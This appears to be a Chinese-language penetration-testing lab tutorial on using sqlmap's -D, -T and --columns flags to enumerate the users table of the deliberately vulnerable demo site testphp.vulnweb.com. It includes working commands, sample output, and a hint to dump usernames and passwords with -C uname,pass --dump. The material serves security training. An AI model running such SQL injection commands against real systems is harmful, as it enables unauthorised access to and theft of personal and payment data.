引言
在本实验中,你将学习如何使用 sqlmap 从数据库的特定表中枚举列名及其数据类型。sqlmap 是一个开源的渗透测试工具,它自动化了检测和利用 SQL 注入漏洞以及接管数据库服务器的过程。理解如何枚举列是数据库利用中的关键一步,因为它能让你精确地定位和提取敏感信息。我们将重点关注使用 -T 标志来指定目标表,以及使用 --columns 标志来列出其列。
在本实验中,你将学习如何使用 sqlmap 从数据库的特定表中枚举列名及其数据类型。sqlmap 是一个开源的渗透测试工具,它自动化了检测和利用 SQL 注入漏洞以及接管数据库服务器的过程。理解如何枚举列是数据库利用中的关键一步,因为它能让你精确地定位和提取敏感信息。我们将重点关注使用 -T 标志来指定目标表,以及使用 --columns 标志来列出其列。
在此步骤中,我们将确定一个假设的目标数据库以及其中的特定表,我们希望从中枚举列。为了本实验的目的,我们将假设我们已经识别了一个易受攻击的 URL 和一个名为 testdb 的数据库,其中包含一个名为 users 的表。
首先,让我们确保你的系统上已安装 sqlmap。如果尚未安装,你可以使用 apt 进行安装。
sudo apt update
sudo apt install -y sqlmap
现在,让我们模拟一个易受攻击的目标。我们将使用一个演示用的虚拟 URL。在实际场景中,这将是一个容易受到 SQL 注入的 URL。
在本实验中,我们将使用以下占位符 URL:http://testphp.vulnweb.com/listproducts.php?cat=1。这是一个常用于测试的已知易受攻击的目标。我们将假设我们已经识别了一个名为 acuart 的数据库,并在其中找到了一个名为 users 的表。我们的目标是从 users 表中枚举列。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
你应该会看到一个数据库列表,其中包括 acuart。这证实了我们的目标是可访问的,并且 sqlmap 可以与之交互。
...
[INFO] fetched data for all databases
available databases [2]:
[*] acuart
[*] information_schema
...
接下来,让我们确认 acuart 数据库中的表。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
你应该会看到一个表列表,其中包括 users。
...
[INFO] fetched data for all tables in database 'acuart'
Database: acuart
[10 tables]
+------------+
| artists |
| carts |
| categories |
| guestbook |
| pictures |
| products |
| users |
| ... |
+------------+
...
这证实了 acuart 数据库和 users 表存在于我们的目标上。
-T 标志指定表在此步骤中,你将学习如何在 sqlmap 中使用 -T 标志来指定我们要从中枚举列的目标表。-T 标志与 -D 标志(用于数据库)结合使用,以缩小我们枚举的范围。
指定表的语法是:
sqlmap -u <target_url> -D <database_name> -T <table_name> [other_options]
承接上一步,我们已经识别了数据库 acuart 和表 users。现在,我们将准备 sqlmap 命令来定位这个特定的表。我们暂时不执行完整的枚举,而是构建命令。
在终端中打开你的 ~/project 目录。
echo 'sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users' > command_part1.txt
cat command_part1.txt
此命令将我们 sqlmap 命令的初始部分保存到名为 command_part1.txt 的文件中,然后显示其内容。这有助于逐步构建复杂的命令。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users
通过使用 -D acuart -T users,我们告诉 sqlmap 将其操作专门聚焦于 acuart 数据库中的 users 表。这对于高效和有针对性的枚举至关重要。
--columns 标志列出列名在此步骤中,我们将介绍 --columns 标志,该标志用于指示 sqlmap 枚举指定表中的列名及其数据类型。此标志对于理解表结构和识别可能有趣的列以进行数据提取至关重要。
--columns 标志将附加到我们在上一步开始构建的命令中。
完整语法将是:
sqlmap -u <target_url> -D <database_name> -T <table_name> --columns
让我们将 --columns 标志添加到我们的命令中。
echo ' --columns' >> command_part1.txt
cat command_part1.txt
现在,command_part1.txt 文件应包含用于枚举 users 表中列的完整 sqlmap 命令。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns
--columns 标志告诉 sqlmap 执行一种特定的枚举:列出目标表中的所有可用列。这是一个强大的功能,有助于绘制数据库模式。
在此步骤中,你将执行我们在前几个步骤中构建的完整 sqlmap 命令。此命令将指示 sqlmap 连接到目标 URL,识别 acuart 数据库,定位 users 表,然后枚举该表中的所有列。
确保你位于 ~/project 目录中。
bash command_part1.txt
执行后,sqlmap 将开始其过程。在此过程中,它可能会问你一些问题,例如是否使用特定的 payload 或继续使用默认选项。对于本次实验,你通常可以按 Enter 接受默认选择,或者在被提示时按 y 表示“是”。
...
[INFO] fetched data for all columns in table 'users' in database 'acuart'
Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| email | varchar(50) |
| uname | varchar(20) |
| pass | varchar(20) |
| cc | varchar(20) |
| address | varchar(50) |
| name | varchar(50) |
| phone | varchar(20) |
+----------+-----------+
...
输出将显示一个表格,列出 users 表中的列名及其对应的数据类型。这是本次实验的核心目标。
在最后一步中,你将查看在上一步执行的 sqlmap 命令的输出。理解枚举出的列名及其数据类型对于进一步的利用或分析至关重要。
查看上一个命令的输出。你应该会看到一个类似以下的表格:
Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| email | varchar(50) |
| uname | varchar(20) |
| pass | varchar(20) |
| cc | varchar(20) |
| address | varchar(50) |
| name | varchar(50) |
| phone | varchar(20) |
+----------+-----------+
从这个输出中,我们可以识别出几个重要的列:
email: 可能存储用户电子邮件地址。uname: 可能存储用户名。pass: 可能存储用户密码(或密码哈希)。cc: 可能存储信用卡信息。address: 存储用户地址。name: 存储用户全名。phone: 存储用户电话号码。Type 列指示了每列的数据类型(例如,varchar(50) 表示长度可变的字符串,最多 50 个字符)。此信息对于构建后续的 sqlmap 命令至关重要,例如使用 -C 标志从特定列转储数据。例如,要转储用户名和密码,你将使用 -C uname,pass --dump。
此步骤完成了使用 sqlmap 从特定表枚举列的过程。你现在对如何定位特定表并检索其列结构有了清晰的了解。
在本次实验中,你成功学会了如何使用 sqlmap 从特定表中枚举列。你首先识别了目标数据库和表,然后逐步构建了使用 -D (数据库)、-T (表) 和 --columns 标志的 sqlmap 命令。最后,你执行了命令并审查了输出,理解了枚举出的列名及其数据类型的重要性。这项技能对于任何进行数据库渗透测试或安全评估的人来说都是基础,因为它提供了有效提取敏感信息所需的必要信息。